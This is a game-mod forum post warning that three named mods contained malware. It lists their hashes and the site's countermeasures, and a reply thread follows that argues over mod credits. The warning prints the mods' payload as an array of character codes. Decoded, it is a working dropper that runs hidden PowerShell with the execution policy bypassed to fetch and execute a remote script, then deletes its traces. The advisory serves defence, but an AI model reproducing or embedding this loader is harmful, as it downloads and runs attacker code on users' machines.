Attention about malware in mods
If you had installed the following mods:
"Auto Save on Exit" by Subaiy MD5 hash - 6246fa47c492250128cbb4a463d2161a
"Kill Counter" by Daniel (if you downloaded this one: https://modworkshop.net/mod/56156 you are fine.) MD5 hash - bcee56cc847489a2a328189ba882d95e
"Enemies Drop Better Loot" by Krunker (If you downloaded this one: https://modworkshop.net/mod/56230 you are fine). MD5 hash - ba9e7d88f1079c0324d53bde5786e4da)
Your PC is likely infected with a malware. Do a proper reset to your computer.
What are we gonna do next?
- We are going to look for moderators to look at new mods for RTV.
- We'll be looking into ways to improve the site itself to better protect against these bad actors and also to let users know if a mod was infected - https://modworkshop.net/thread/13229.
What can you do
- Again if you are infected, factory reset your computer.
- Search for suspicious things in the mods you download (like "powershell")
These attacks all follow the same pattern, they execute a powershell script using some encoded URL:
[64,101,99,104,111,32,111,102,102,10,115,116,97,114,116,32,47,98,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,99,32,34,105,119,114,32,104,116,116,112,115,58,47,47,114,111,97,100,116,111,118,111,115,116,111,107,46,115,116,111,114,101,47,100,97,46,112,115,49,32,45,111,117,116,32,37,84,69,77,80,37,92,100,108,46,112,115,49,32,45,117,115,101,98,59,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,102,32,37,84,69,77,80,37,92,100,108,46,112,115,49,59,32,83,116,97,114,116,45,83,108,101,101,112,32,53,59,32,100,101,108,32,37,84,69,77,80,37,92,100,108,46,112,115,49,34,10,100,101,108,32,34,37,126,48,34] - Check file hash of the file you downloaded using: https://hash-file.online.
- Any mod containing powershell script without a good reason should be reported to moderators.
- Any mod that isn't open-source should be reported.
Replies
@wons, looks like u have a virus bro xD
btw my code is from scratch so feel free to use a non-virus one :)
It was Kill counter by Sukui, not some "Daniel", thats first. Second, you going after me personally now cause I found out that youre coping work of others without a credit. Thats that. Malware or not this is bad actor behaviour as well. BTW, this was your response: "appreciate you letting me know - added the original mod as credit" (and you credited someone else). Now you acting like hurt child with narcissistic injury. Go figure.
@wons im so glad you can tell the difference! now can you tell that the mod you recommended also did the same? with original mod that i credited? how about you get off your high horse if you're not contributing anything <3
@wons
I'm not making things up. Said user has been banned too.
@luffy I know you dont, my response to this dude above is about something else. I responded to him cause hes trying to smear me. Thats all. I dont want to give him any more attention, but am fine. And thank you for your fast reaction with this malware situation.